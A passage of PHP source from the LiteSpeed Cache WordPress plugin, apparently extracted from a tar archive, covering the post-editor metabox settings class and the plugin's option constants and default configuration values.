esi_enabled() { return $this->cls( 'Router' )->esi_enabled(); } /** * Get TTL * * Retrieves the cache TTL (time to live). * * @since 3.0 * @access public * @return int Cache TTL value. */ public function get_ttl() { return $this->cls( 'Control' )->get_ttl(); } /** * Generate ESI block URL * * Generates a URL for an ESI block. * * @since 3.0 * @access public * @param string $block_id ESI block ID. * @param string $wrapper Wrapper identifier. * @param array $params Parameters for the ESI block. * @param string $control Cache control settings. * @param bool $silence Silence output flag. * @param bool $preserved Preserved flag. * @param bool $svar Server variable flag. * @param array $inline_param Inline parameters. * @return string ESI block URL. */ public function sub_esi_block( $block_id, $wrapper, $params = [], $control = 'private,no-vary', $silence = false, $preserved = false, $svar = false, $inline_param = [] ) { return $this->cls( 'ESI' )->sub_esi_block( $block_id, $wrapper, $params, $control, $silence, $preserved, $svar, $inline_param ); } /** * Set and sync conf * * Updates and synchronizes configuration settings. * * @since 7.2 * @access public * @param bool|array $the_matrix Configuration data to update. */ public function save_conf( $the_matrix = false ) { $this->cls( 'Conf' )->update_confs( $the_matrix ); } } ��������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/metabox.cls.php���������������������������������������������������������0000644�����������������00000012453�15233526476�0015005 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The class to operate post editor metabox settings. * * @since 4.7 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Metabox * * Registers and handles LiteSpeed options shown in the post/page edit screen. */ class Metabox extends Root { const LOG_TAG = '📦'; const POST_NONCE_ACTION = 'post_nonce_action'; /** * Map of metabox settings keys to labels. * * @var array */ private $_postmeta_settings; /** * Init the setting list. * * @since 4.7 */ public function __construct() { // Append meta box. $this->_postmeta_settings = [ 'litespeed_no_cache' => __( 'Disable Cache', 'litespeed-cache' ), 'litespeed_no_image_lazy' => __( 'Disable Image Lazyload', 'litespeed-cache' ), 'litespeed_no_vpi' => __( 'Disable VPI', 'litespeed-cache' ), 'litespeed_vpi_list' => __( 'Viewport Images', 'litespeed-cache' ), 'litespeed_vpi_list_mobile' => __( 'Viewport Images', 'litespeed-cache' ) . ' - ' . __( 'Mobile', 'litespeed-cache' ), ]; } /** * Register post edit settings. * * @since 4.7 * @return void */ public function register_settings() { add_action( 'add_meta_boxes', [ $this, 'add_meta_boxes' ] ); add_action( 'save_post', [ $this, 'save_meta_box_settings' ], 15, 2 ); add_action( 'attachment_updated', [ $this, 'save_meta_box_settings' ], 15, 2 ); } /** * Register meta box. * * @since 4.7 * * @param string $post_type Current post type. * @return void */ public function add_meta_boxes( $post_type ) { if ( apply_filters( 'litespeed_bypass_metabox', false, $post_type ) ) { return; } $post_type_obj = get_post_type_object( $post_type ); if ( ! empty( $post_type_obj ) && ! $post_type_obj->public ) { self::debug( 'post type public=false, bypass add_meta_boxes' ); return; } add_meta_box( 'litespeed_meta_boxes', 'LiteSpeed', [ $this, 'meta_box_options' ], $post_type, 'side', 'core' ); } /** * Show meta box content. * * @since 4.7 * @return void */ public function meta_box_options() { require_once LSCWP_DIR . 'tpl/inc/metabox.php'; } /** * Save settings. * * @since 4.7 * * @param int $post_id Post ID. * @param \WP_Post $post Post object. * @return void */ public function save_meta_box_settings( $post_id, $post ) { global $pagenow; self::debug( 'Maybe save post2 [post_id] ' . $post_id ); if ( 'post.php' !== $pagenow || ! $post || ! is_object( $post ) ) { return; } if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) { return; } if ( ! $this->cls( 'Router' )->verify_nonce( self::POST_NONCE_ACTION ) ) { return; } self::debug( 'Saving post [post_id] ' . $post_id ); foreach ($this->_postmeta_settings as $k => $v) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput $val = isset($_POST[$k]) ? $_POST[$k] : false; $this->save($post_id, $k, $val); } } /** * Load setting per post. * * @since 4.7 * * @param string $conf Meta key to load. * @param int|bool $post_id Optional specific post ID, defaults to current query object. * @return mixed|null Meta value or null when not set. */ public function setting( $conf, $post_id = false ) { // Check if has metabox non-cacheable setting or not. if ( ! $post_id ) { $home_id = (int) get_option( 'page_for_posts' ); if ( is_singular() ) { $post_id = get_the_ID(); } elseif ( $home_id > 0 && is_home() ) { $post_id = $home_id; } } $val = $post_id ? get_post_meta( $post_id, $conf, true ) : null; if ( $val ) { return $val; } return null; } /** * Save a metabox value. * * @since 4.7 * * @param int $post_id Post ID. * @param string $name Meta key name. * @param string|bool $val Value to save. * @param bool $is_append If true, append to existing list values. * @return void */ public function save( $post_id, $name, $val, $is_append = false ) { if ( false !== strpos( $name, VPI::POST_META ) ) { $val = Utility::sanitize_lines( $val, 'basename,drop_webp' ); } // Load existing data if has set. if ( $is_append ) { $existing_data = $this->setting( $name, $post_id ); if ( $existing_data ) { $existing_data = Utility::sanitize_lines( $existing_data, 'basename' ); $val = array_unique( array_merge( $val, $existing_data ) ); } } if ( $val ) { update_post_meta( $post_id, $name, $val ); } else { delete_post_meta( $post_id, $name ); } } /** * Load exclude images per post. * * @since 4.7 * * @param array $exclude_list Current exclude list. * @return array Modified exclude list. */ public function lazy_img_excludes( $exclude_list ) { $is_mobile = $this->_separate_mobile(); $excludes = $this->setting( $is_mobile ? VPI::POST_META_MOBILE : VPI::POST_META ); if ( null !== $excludes ) { $excludes = Utility::sanitize_lines( $excludes, 'basename' ); if ( $excludes ) { // Check if contains `data:` (invalid result, need to clear existing result) or not. if ( Utility::str_hit_array( 'data:', $excludes ) ) { $this->cls( 'VPI' )->add_to_queue(); } else { return array_merge( $exclude_list, $excludes ); } } return $exclude_list; } $this->cls( 'VPI' )->add_to_queue(); return $exclude_list; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/base.cls.php������������������������������������������������������������0000644�����������������00000113240�15233526476�0014254 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The base constants and defaults for LiteSpeed Cache. * * Defines all option keys, default values, and helper methods shared across the plugin. * * @since 3.7 * @package LiteSpeed */ namespace LiteSpeed; defined('WPINC') || exit(); /** * Class Base * * Core definitions and helpers shared across LiteSpeed Cache. */ class Base extends Root { // This is redundant since v3.0 // New conf items are `litespeed.key` const OPTION_NAME = 'litespeed-cache-conf'; const _CACHE = '_cache'; // final cache status from setting // -------------------------------------------------- ## // -------------- General ----------------- ## // -------------------------------------------------- ## const _VER = '_version'; // Not set-able const HASH = 'hash'; // Not set-able const O_AUTO_UPGRADE = 'auto_upgrade'; const O_API_KEY = 'api_key'; // Deprecated since v6.4. TODO: Will drop after v8 (still need to keep for v7 upgrade conf usage as v6.5.4 has a major user base) const O_SERVER_IP = 'server_ip'; const O_GUEST = 'guest'; const O_GUEST_OPTM = 'guest_optm'; const O_NEWS = 'news'; const O_GUEST_UAS = 'guest_uas'; const O_GUEST_IPS = 'guest_ips'; // Deprecated since v7.7. TODO: Will drop after v9 // -------------------------------------------------- ## // -------------- Cache ----------------- ## // -------------------------------------------------- ## const O_CACHE = 'cache'; const O_CACHE_PRIV = 'cache-priv'; const O_CACHE_COMMENTER = 'cache-commenter'; const O_CACHE_REST = 'cache-rest'; const O_CACHE_PAGE_LOGIN = 'cache-page_login'; const O_CACHE_RES = 'cache-resources'; // Deprecated since v7.2. TODO: Drop after v7.5 const O_CACHE_MOBILE = 'cache-mobile'; const O_CACHE_MOBILE_RULES = 'cache-mobile_rules'; const O_CACHE_BROWSER = 'cache-browser'; const O_CACHE_EXC_USERAGENTS = 'cache-exc_useragents'; const O_CACHE_EXC_COOKIES = 'cache-exc_cookies'; const O_CACHE_EXC_QS = 'cache-exc_qs'; const O_CACHE_EXC_CAT = 'cache-exc_cat'; const O_CACHE_EXC_TAG = 'cache-exc_tag'; const O_CACHE_FORCE_URI = 'cache-force_uri'; const O_CACHE_FORCE_PUB_URI = 'cache-force_pub_uri'; const O_CACHE_PRIV_URI = 'cache-priv_uri'; const O_CACHE_EXC = 'cache-exc'; const O_CACHE_EXC_ROLES = 'cache-exc_roles'; const O_CACHE_DROP_QS = 'cache-drop_qs'; const O_CACHE_TTL_PUB = 'cache-ttl_pub'; const O_CACHE_TTL_PRIV = 'cache-ttl_priv'; const O_CACHE_TTL_FRONTPAGE = 'cache-ttl_frontpage'; const O_CACHE_TTL_FEED = 'cache-ttl_feed'; const O_CACHE_TTL_REST = 'cache-ttl_rest'; const O_CACHE_TTL_STATUS = 'cache-ttl_status'; const O_CACHE_TTL_BROWSER = 'cache-ttl_browser'; const O_CACHE_AJAX_TTL = 'cache-ajax_ttl'; const O_CACHE_LOGIN_COOKIE = 'cache-login_cookie'; const O_CACHE_VARY_COOKIES = 'cache-vary_cookies'; const O_CACHE_VARY_GROUP = 'cache-vary_group'; // -------------------------------------------------- ## // -------------- Purge ----------------- ## // -------------------------------------------------- ## const O_PURGE_ON_UPGRADE = 'purge-upgrade'; const O_PURGE_STALE = 'purge-stale'; const O_PURGE_POST_ALL = 'purge-post_all'; const O_PURGE_POST_FRONTPAGE = 'purge-post_f'; const O_PURGE_POST_HOMEPAGE = 'purge-post_h'; const O_PURGE_POST_PAGES = 'purge-post_p'; const O_PURGE_POST_PAGES_WITH_RECENT_POSTS = 'purge-post_pwrp'; const O_PURGE_POST_AUTHOR = 'purge-post_a'; const O_PURGE_POST_YEAR = 'purge-post_y'; const O_PURGE_POST_MONTH = 'purge-post_m'; const O_PURGE_POST_DATE = 'purge-post_d'; const O_PURGE_POST_TERM = 'purge-post_t'; // include category|tag|tax const O_PURGE_POST_POSTTYPE = 'purge-post_pt'; const O_PURGE_TIMED_URLS = 'purge-timed_urls'; const O_PURGE_TIMED_URLS_TIME = 'purge-timed_urls_time'; const O_PURGE_HOOK_ALL = 'purge-hook_all'; // -------------------------------------------------- ## // -------------- ESI ----------------- ## // -------------------------------------------------- ## const O_ESI = 'esi'; const O_ESI_CACHE_ADMBAR = 'esi-cache_admbar'; const O_ESI_CACHE_COMMFORM = 'esi-cache_commform'; const O_ESI_NONCE = 'esi-nonce'; // -------------------------------------------------- ## // -------------- Utilities ----------------- ## // -------------------------------------------------- ## const O_UTIL_INSTANT_CLICK = 'util-instant_click'; const O_UTIL_NO_HTTPS_VARY = 'util-no_https_vary'; // -------------------------------------------------- ## // -------------- Debug ----------------- ## // -------------------------------------------------- ## const O_DEBUG_DISABLE_ALL = 'debug-disable_all'; const O_DEBUG = 'debug'; const O_DEBUG_IPS = 'debug-ips'; const O_DEBUG_LEVEL = 'debug-level'; const O_DEBUG_FILESIZE = 'debug-filesize'; const O_DEBUG_COOKIE = 'debug-cookie'; // For backwards compatibility, will drop after v7.0 const O_DEBUG_COLLAPSE_QS = 'debug-collapse_qs'; const O_DEBUG_COLLAPS_QS = 'debug-collapse_qs'; // For backwards compatibility, will drop after v6.5 const O_DEBUG_INC = 'debug-inc'; const O_DEBUG_EXC = 'debug-exc'; const O_DEBUG_EXC_STRINGS = 'debug-exc_strings'; // -------------------------------------------------- ## // -------------- DB Optm ----------------- ## // -------------------------------------------------- ## const O_DB_OPTM_REVISIONS_MAX = 'db_optm-revisions_max'; const O_DB_OPTM_REVISIONS_AGE = 'db_optm-revisions_age'; // -------------------------------------------------- ## // -------------- HTML Optm ----------------- ## // -------------------------------------------------- ## const O_OPTM_CSS_MIN = 'optm-css_min'; const O_OPTM_CSS_COMB = 'optm-css_comb'; const O_OPTM_CSS_COMB_EXT_INL = 'optm-css_comb_ext_inl'; const O_OPTM_UCSS = 'optm-ucss'; const O_OPTM_UCSS_INLINE = 'optm-ucss_inline'; const O_OPTM_UCSS_SELECTOR_WHITELIST = 'optm-ucss_whitelist'; const O_OPTM_UCSS_FILE_EXC_INLINE = 'optm-ucss_file_exc_inline'; const O_OPTM_UCSS_EXC = 'optm-ucss_exc'; const O_OPTM_CSS_EXC = 'optm-css_exc'; const O_OPTM_JS_MIN = 'optm-js_min'; const O_OPTM_JS_COMB = 'optm-js_comb'; const O_OPTM_JS_COMB_EXT_INL = 'optm-js_comb_ext_inl'; const O_OPTM_JS_DELAY_INC = 'optm-js_delay_inc'; const O_OPTM_JS_EXC = 'optm-js_exc'; const O_OPTM_HTML_MIN = 'optm-html_min'; const O_OPTM_HTML_LAZY = 'optm-html_lazy'; const O_OPTM_HTML_SKIP_COMMENTS = 'optm-html_skip_comment'; const O_OPTM_QS_RM = 'optm-qs_rm'; const O_OPTM_GGFONTS_RM = 'optm-ggfonts_rm'; const O_OPTM_CSS_ASYNC = 'optm-css_async'; const O_OPTM_CCSS_PER_URL = 'optm-ccss_per_url'; const O_OPTM_CCSS_SEP_POSTTYPE = 'optm-ccss_sep_posttype'; const O_OPTM_CCSS_SEP_URI = 'optm-ccss_sep_uri'; const O_OPTM_CCSS_SELECTOR_WHITELIST = 'optm-ccss_whitelist'; const O_OPTM_CSS_ASYNC_INLINE = 'optm-css_async_inline'; const O_OPTM_CSS_FONT_DISPLAY = 'optm-css_font_display'; const O_OPTM_JS_DEFER = 'optm-js_defer'; const O_OPTM_LOCALIZE = 'optm-localize'; const O_OPTM_LOCALIZE_DOMAINS = 'optm-localize_domains'; const O_OPTM_EMOJI_RM = 'optm-emoji_rm'; const O_OPTM_NOSCRIPT_RM = 'optm-noscript_rm'; const O_OPTM_GGFONTS_ASYNC = 'optm-ggfonts_async'; const O_OPTM_EXC_ROLES = 'optm-exc_roles'; const O_OPTM_CCSS_CON = 'optm-ccss_con'; const O_OPTM_JS_DEFER_EXC = 'optm-js_defer_exc'; const O_OPTM_GM_JS_EXC = 'optm-gm_js_exc'; const O_OPTM_DNS_PREFETCH = 'optm-dns_prefetch'; const O_OPTM_DNS_PREFETCH_CTRL = 'optm-dns_prefetch_ctrl'; const O_OPTM_DNS_PRECONNECT = 'optm-dns_preconnect'; const O_OPTM_EXC = 'optm-exc'; const O_OPTM_GUEST_ONLY = 'optm-guest_only'; // -------------------------------------------------- ## // -------------- Object Cache ----------------- ## // -------------------------------------------------- ## const O_OBJECT = 'object'; const O_OBJECT_KIND = 'object-kind'; const O_OBJECT_HOST = 'object-host'; const O_OBJECT_PORT = 'object-port'; const O_OBJECT_LIFE = 'object-life'; // @deprecated Since v8.0. Will be removed in v8.5. TTL now follows WP API: expire=0 means no expiration. const O_OBJECT_PERSISTENT = 'object-persistent'; const O_OBJECT_ADMIN = 'object-admin'; const O_OBJECT_DB_ID = 'object-db_id'; const O_OBJECT_USER = 'object-user'; const O_OBJECT_PSWD = 'object-pswd'; const O_OBJECT_GLOBAL_GROUPS = 'object-global_groups'; const O_OBJECT_NON_PERSISTENT_GROUPS = 'object-non_persistent_groups'; // -------------------------------------------------- ## // -------------- Discussion ----------------- ## // -------------------------------------------------- ## const O_DISCUSS_AVATAR_CACHE = 'discuss-avatar_cache'; const O_DISCUSS_AVATAR_CRON = 'discuss-avatar_cron'; const O_DISCUSS_AVATAR_CACHE_TTL = 'discuss-avatar_cache_ttl'; // -------------------------------------------------- ## // -------------- Media ----------------- ## // -------------------------------------------------- ## const O_MEDIA_LAZY = 'media-lazy'; const O_MEDIA_LAZY_PLACEHOLDER = 'media-lazy_placeholder'; const O_MEDIA_PLACEHOLDER_RESP = 'media-placeholder_resp'; const O_MEDIA_PLACEHOLDER_RESP_COLOR = 'media-placeholder_resp_color'; const O_MEDIA_PLACEHOLDER_RESP_SVG = 'media-placeholder_resp_svg'; const O_MEDIA_LQIP = 'media-lqip'; const O_MEDIA_LQIP_QUAL = 'media-lqip_qual'; const O_MEDIA_LQIP_MIN_W = 'media-lqip_min_w'; const O_MEDIA_LQIP_MIN_H = 'media-lqip_min_h'; const O_MEDIA_PLACEHOLDER_RESP_ASYNC = 'media-placeholder_resp_async'; const O_MEDIA_IFRAME_LAZY = 'media-iframe_lazy'; const O_MEDIA_ADD_MISSING_SIZES = 'media-add_missing_sizes'; const O_MEDIA_LAZY_EXC = 'media-lazy_exc'; const O_MEDIA_LAZY_CLS_EXC = 'media-lazy_cls_exc'; const O_MEDIA_LAZY_PARENT_CLS_EXC = 'media-lazy_parent_cls_exc'; const O_MEDIA_IFRAME_LAZY_CLS_EXC = 'media-iframe_lazy_cls_exc'; const O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC = 'media-iframe_lazy_parent_cls_exc'; const O_MEDIA_LAZY_URI_EXC = 'media-lazy_uri_exc'; const O_MEDIA_LQIP_EXC = 'media-lqip_exc'; const O_MEDIA_VPI = 'media-vpi'; const O_MEDIA_VPI_CRON = 'media-vpi_cron'; const O_IMG_OPTM_JPG_QUALITY = 'img_optm-jpg_quality'; const O_MEDIA_AUTO_RESCALE_ORI = 'media-auto_rescale_ori'; // -------------------------------------------------- ## // -------------- Image Optm ----------------- ## // -------------------------------------------------- ## const O_IMG_OPTM_AUTO = 'img_optm-auto'; const O_IMG_OPTM_CRON = 'img_optm-cron'; // @Deprecated since v7.0 TODO: remove after v7.5 const O_IMG_OPTM_ORI = 'img_optm-ori'; const O_IMG_OPTM_RM_BKUP = 'img_optm-rm_bkup'; const O_IMG_OPTM_WEBP = 'img_optm-webp'; const O_IMG_OPTM_LOSSLESS = 'img_optm-lossless'; const O_IMG_OPTM_SIZES_SKIPPED = 'img_optm-sizes_skipped'; const O_IMG_OPTM_EXIF = 'img_optm-exif'; const O_IMG_OPTM_WEBP_ATTR = 'img_optm-webp_attr'; const O_IMG_OPTM_WEBP_REPLACE_SRCSET = 'img_optm-webp_replace_srcset'; // -------------------------------------------------- ## // -------------- Crawler ----------------- ## // -------------------------------------------------- ## const O_CRAWLER = 'crawler'; const O_CRAWLER_USLEEP = 'crawler-usleep'; // @Deprecated since v7.0 TODO: remove after v7.5 const O_CRAWLER_RUN_DURATION = 'crawler-run_duration'; // @Deprecated since v7.0 TODO: remove after v7.5 const O_CRAWLER_RUN_INTERVAL = 'crawler-run_interval'; // @Deprecated since v7.0 TODO: remove after v7.5 const O_CRAWLER_CRAWL_INTERVAL = 'crawler-crawl_interval'; const O_CRAWLER_THREADS = 'crawler-threads'; // @Deprecated since v7.0 TODO: remove after v7.5 const O_CRAWLER_TIMEOUT = 'crawler-timeout'; // @Deprecated since v7.0 TODO: remove after v7.5 const O_CRAWLER_LOAD_LIMIT = 'crawler-load_limit'; const O_CRAWLER_SITEMAP = 'crawler-sitemap'; const O_CRAWLER_DROP_DOMAIN = 'crawler-drop_domain'; // @Deprecated since v7.0 TODO: remove after v7.5 const O_CRAWLER_MAP_TIMEOUT = 'crawler-map_timeout'; // @Deprecated since v7.0 TODO: remove after v7.5 const O_CRAWLER_ROLES = 'crawler-roles'; const O_CRAWLER_COOKIES = 'crawler-cookies'; // -------------------------------------------------- ## // -------------- Misc ----------------- ## // -------------------------------------------------- ## const O_MISC_HEARTBEAT_FRONT = 'misc-heartbeat_front'; const O_MISC_HEARTBEAT_FRONT_TTL = 'misc-heartbeat_front_ttl'; const O_MISC_HEARTBEAT_BACK = 'misc-heartbeat_back'; const O_MISC_HEARTBEAT_BACK_TTL = 'misc-heartbeat_back_ttl'; const O_MISC_HEARTBEAT_EDITOR = 'misc-heartbeat_editor'; const O_MISC_HEARTBEAT_EDITOR_TTL = 'misc-heartbeat_editor_ttl'; // -------------------------------------------------- ## // -------------- CDN ----------------- ## // -------------------------------------------------- ## const O_CDN = 'cdn'; const O_CDN_ORI = 'cdn-ori'; const O_CDN_ORI_DIR = 'cdn-ori_dir'; const O_CDN_EXC = 'cdn-exc'; const O_CDN_QUIC = 'cdn-quic'; // No more a visible setting since v7 const O_CDN_CLOUDFLARE = 'cdn-cloudflare'; const O_CDN_CLOUDFLARE_EMAIL = 'cdn-cloudflare_email'; const O_CDN_CLOUDFLARE_KEY = 'cdn-cloudflare_key'; const O_CDN_CLOUDFLARE_NAME = 'cdn-cloudflare_name'; const O_CDN_CLOUDFLARE_ZONE = 'cdn-cloudflare_zone'; const O_CDN_CLOUDFLARE_CLEAR = 'cdn-cloudflare_clear'; const O_CDN_MAPPING = 'cdn-mapping'; const O_CDN_ATTR = 'cdn-attr'; const O_QC_NAMESERVERS = 'qc-nameservers'; const O_QC_CNAME = 'qc-cname'; // -------------------------------------------------- ## // -------------- OptimaX ----------------- ## // -------------------------------------------------- ## const O_OPTIMAX = 'optimax'; const O_OPTIMAX_CRON = 'optimax-cron'; const O_OPTIMAX_EXC = 'optimax-exc'; const NETWORK_O_USE_PRIMARY = 'use_primary_settings'; const DEBUG_TMP_DISABLE = 'debug-disable_tmp'; /*** Other consts ***/ const O_GUIDE = 'litespeed-guide'; // Array of each guidance tag as key, step as val //xx todo: may need to remove // Server variables const ENV_CRAWLER_USLEEP = 'CRAWLER_USLEEP'; const ENV_CRAWLER_LOAD_LIMIT = 'CRAWLER_LOAD_LIMIT'; const ENV_CRAWLER_LOAD_LIMIT_ENFORCE = 'CRAWLER_LOAD_LIMIT_ENFORCE'; const CRWL_COOKIE_NAME = 'name'; const CRWL_COOKIE_VALS = 'vals'; const CDN_MAPPING_URL = 'url'; const CDN_MAPPING_INC_IMG = 'inc_img'; const CDN_MAPPING_INC_CSS = 'inc_css'; const CDN_MAPPING_INC_JS = 'inc_js'; const CDN_MAPPING_FILETYPE = 'filetype'; const VAL_OFF = 0; const VAL_ON = 1; const VAL_ON2 = 2; /* This is for API hook usage */ const IMG_OPTM_BM_ORI = 1; // @Deprecated since v7.0 const IMG_OPTM_BM_WEBP = 2; // @Deprecated since v7.0 const IMG_OPTM_BM_LOSSLESS = 4; // @Deprecated since v7.0 const IMG_OPTM_BM_EXIF = 8; // @Deprecated since v7.0 const IMG_OPTM_BM_AVIF = 16; // @Deprecated since v7.0 /** * Site related options (Will not overwrite other sites' config). * * @var string[] */ protected static $single_site_options = [ self::O_CRAWLER, self::O_CRAWLER_SITEMAP, self::O_CDN, self::O_CDN_ORI, self::O_CDN_ORI_DIR, self::O_CDN_EXC, self::O_CDN_CLOUDFLARE, self::O_CDN_CLOUDFLARE_EMAIL, self::O_CDN_CLOUDFLARE_KEY, self::O_CDN_CLOUDFLARE_NAME, self::O_CDN_CLOUDFLARE_ZONE, self::O_CDN_CLOUDFLARE_CLEAR, self::O_CDN_MAPPING, self::O_CDN_ATTR, self::O_QC_NAMESERVERS, self::O_QC_CNAME, ]; /** * Default options for single-site installs. * * @var array<string,mixed> */ protected static $_default_options = [ self::_VER => '', self::HASH => '', self::O_API_KEY => '', self::O_AUTO_UPGRADE => false, self::O_SERVER_IP => '', self::O_GUEST => false, self::O_GUEST_OPTM => false, self::O_NEWS => false, // Cache self::O_CACHE => false, self::O_CACHE_PRIV => false, self::O_CACHE_COMMENTER => false, self::O_CACHE_REST => false, self::O_CACHE_PAGE_LOGIN => false, self::O_CACHE_MOBILE => false, self::O_CACHE_MOBILE_RULES => [], self::O_CACHE_BROWSER => false, self::O_CACHE_EXC_USERAGENTS => [], self::O_CACHE_EXC_COOKIES => [], self::O_CACHE_EXC_QS => [], self::O_CACHE_EXC_CAT => [], self::O_CACHE_EXC_TAG => [], self::O_CACHE_FORCE_URI => [], self::O_CACHE_FORCE_PUB_URI => [], self::O_CACHE_PRIV_URI => [], self::O_CACHE_EXC => [], self::O_CACHE_EXC_ROLES => [], self::O_CACHE_DROP_QS => [], self::O_CACHE_TTL_PUB => 0, self::O_CACHE_TTL_PRIV => 0, self::O_CACHE_TTL_FRONTPAGE => 0, self::O_CACHE_TTL_FEED => 0, self::O_CACHE_TTL_REST => 0, self::O_CACHE_TTL_BROWSER => 0, self::O_CACHE_TTL_STATUS => [], self::O_CACHE_LOGIN_COOKIE => '', self::O_CACHE_AJAX_TTL => [], self::O_CACHE_VARY_COOKIES => [], self::O_CACHE_VARY_GROUP => [], // Purge self::O_PURGE_ON_UPGRADE => false, self::O_PURGE_STALE => false, self::O_PURGE_POST_ALL => false, self::O_PURGE_POST_FRONTPAGE => false, self::O_PURGE_POST_HOMEPAGE => false, self::O_PURGE_POST_PAGES => false, self::O_PURGE_POST_PAGES_WITH_RECENT_POSTS => false, self::O_PURGE_POST_AUTHOR => false, self::O_PURGE_POST_YEAR => false, self::O_PURGE_POST_MONTH => false, self::O_PURGE_POST_DATE => false, self::O_PURGE_POST_TERM => false, self::O_PURGE_POST_POSTTYPE => false, self::O_PURGE_TIMED_URLS => [], self::O_PURGE_TIMED_URLS_TIME => '', self::O_PURGE_HOOK_ALL => [], // ESI self::O_ESI => false, self::O_ESI_CACHE_ADMBAR => false, self::O_ESI_CACHE_COMMFORM => false, self::O_ESI_NONCE => [], // Util self::O_UTIL_INSTANT_CLICK => false, self::O_UTIL_NO_HTTPS_VARY => false, // Debug self::O_DEBUG_DISABLE_ALL => false, self::O_DEBUG => false, self::O_DEBUG_IPS => [], self::O_DEBUG_LEVEL => false, self::O_DEBUG_FILESIZE => 0, self::O_DEBUG_COLLAPSE_QS => false, self::O_DEBUG_INC => [], self::O_DEBUG_EXC => [], self::O_DEBUG_EXC_STRINGS => [], // DB Optm self::O_DB_OPTM_REVISIONS_MAX => 0, self::O_DB_OPTM_REVISIONS_AGE => 0, // HTML Optm self::O_OPTM_CSS_MIN => false, self::O_OPTM_CSS_COMB => false, self::O_OPTM_CSS_COMB_EXT_INL => false, self::O_OPTM_UCSS => false, self::O_OPTM_UCSS_INLINE => false, self::O_OPTM_UCSS_SELECTOR_WHITELIST => [], self::O_OPTM_UCSS_FILE_EXC_INLINE => [], self::O_OPTM_UCSS_EXC => [], self::O_OPTM_CSS_EXC => [], self::O_OPTM_JS_MIN => false, self::O_OPTM_JS_COMB => false, self::O_OPTM_JS_COMB_EXT_INL => false, self::O_OPTM_JS_DELAY_INC => [], self::O_OPTM_JS_EXC => [], self::O_OPTM_HTML_MIN => false, self::O_OPTM_HTML_LAZY => [], self::O_OPTM_HTML_SKIP_COMMENTS => [], self::O_OPTM_QS_RM => false, self::O_OPTM_GGFONTS_RM => false, self::O_OPTM_CSS_ASYNC => false, self::O_OPTM_CCSS_PER_URL => false, self::O_OPTM_CCSS_SEP_POSTTYPE => [], self::O_OPTM_CCSS_SEP_URI => [], self::O_OPTM_CCSS_SELECTOR_WHITELIST => [], self::O_OPTM_CSS_ASYNC_INLINE => false, self::O_OPTM_CSS_FONT_DISPLAY => false, self::O_OPTM_JS_DEFER => false, self::O_OPTM_EMOJI_RM => false, self::O_OPTM_NOSCRIPT_RM => false, self::O_OPTM_GGFONTS_ASYNC => false, self::O_OPTM_EXC_ROLES => [], self::O_OPTM_CCSS_CON => '', self::O_OPTM_JS_DEFER_EXC => [], self::O_OPTM_GM_JS_EXC => [], self::O_OPTM_DNS_PREFETCH => [], self::O_OPTM_DNS_PREFETCH_CTRL => false, self::O_OPTM_DNS_PRECONNECT => [], self::O_OPTM_EXC => [], self::O_OPTM_GUEST_ONLY => false, // Object self::O_OBJECT => false, self::O_OBJECT_KIND => false, self::O_OBJECT_HOST => '', self::O_OBJECT_PORT => 0, self::O_OBJECT_LIFE => 0, self::O_OBJECT_PERSISTENT => false, self::O_OBJECT_ADMIN => false, self::O_OBJECT_DB_ID => 0, self::O_OBJECT_USER => '', self::O_OBJECT_PSWD => '', self::O_OBJECT_GLOBAL_GROUPS => [], self::O_OBJECT_NON_PERSISTENT_GROUPS => [], // Discuss self::O_DISCUSS_AVATAR_CACHE => false, self::O_DISCUSS_AVATAR_CRON => false, self::O_DISCUSS_AVATAR_CACHE_TTL => 0, self::O_OPTM_LOCALIZE => false, self::O_OPTM_LOCALIZE_DOMAINS => [], // Media self::O_MEDIA_LAZY => false, self::O_MEDIA_LAZY_PLACEHOLDER => '', self::O_MEDIA_PLACEHOLDER_RESP => false, self::O_MEDIA_PLACEHOLDER_RESP_COLOR => '', self::O_MEDIA_PLACEHOLDER_RESP_SVG => '', self::O_MEDIA_LQIP => false, self::O_MEDIA_LQIP_QUAL => 0, self::O_MEDIA_LQIP_MIN_W => 0, self::O_MEDIA_LQIP_MIN_H => 0, self::O_MEDIA_PLACEHOLDER_RESP_ASYNC => false, self::O_MEDIA_IFRAME_LAZY => false, self::O_MEDIA_ADD_MISSING_SIZES => false, self::O_MEDIA_LAZY_EXC => [], self::O_MEDIA_LAZY_CLS_EXC => [], self::O_MEDIA_LAZY_PARENT_CLS_EXC => [], self::O_MEDIA_IFRAME_LAZY_CLS_EXC => [], self::O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC => [], self::O_MEDIA_LAZY_URI_EXC => [], self::O_MEDIA_LQIP_EXC => [], self::O_MEDIA_VPI => false, self::O_MEDIA_VPI_CRON => false, self::O_MEDIA_AUTO_RESCALE_ORI => false, // Image Optm self::O_IMG_OPTM_AUTO => false, self::O_IMG_OPTM_ORI => false, self::O_IMG_OPTM_RM_BKUP => false, self::O_IMG_OPTM_WEBP => false, self::O_IMG_OPTM_LOSSLESS => false, self::O_IMG_OPTM_SIZES_SKIPPED => [], self::O_IMG_OPTM_EXIF => false, self::O_IMG_OPTM_WEBP_ATTR => [], self::O_IMG_OPTM_WEBP_REPLACE_SRCSET => false, self::O_IMG_OPTM_JPG_QUALITY => 0, // Crawler self::O_CRAWLER => false, self::O_CRAWLER_CRAWL_INTERVAL => 0, self::O_CRAWLER_LOAD_LIMIT => 0, self::O_CRAWLER_SITEMAP => '', self::O_CRAWLER_ROLES => [], self::O_CRAWLER_COOKIES => [], // Misc self::O_MISC_HEARTBEAT_FRONT => false, self::O_MISC_HEARTBEAT_FRONT_TTL => 0, self::O_MISC_HEARTBEAT_BACK => false, self::O_MISC_HEARTBEAT_BACK_TTL => 0, self::O_MISC_HEARTBEAT_EDITOR => false, self::O_MISC_HEARTBEAT_EDITOR_TTL => 0, // CDN self::O_CDN => false, self::O_CDN_ORI => [], self::O_CDN_ORI_DIR => 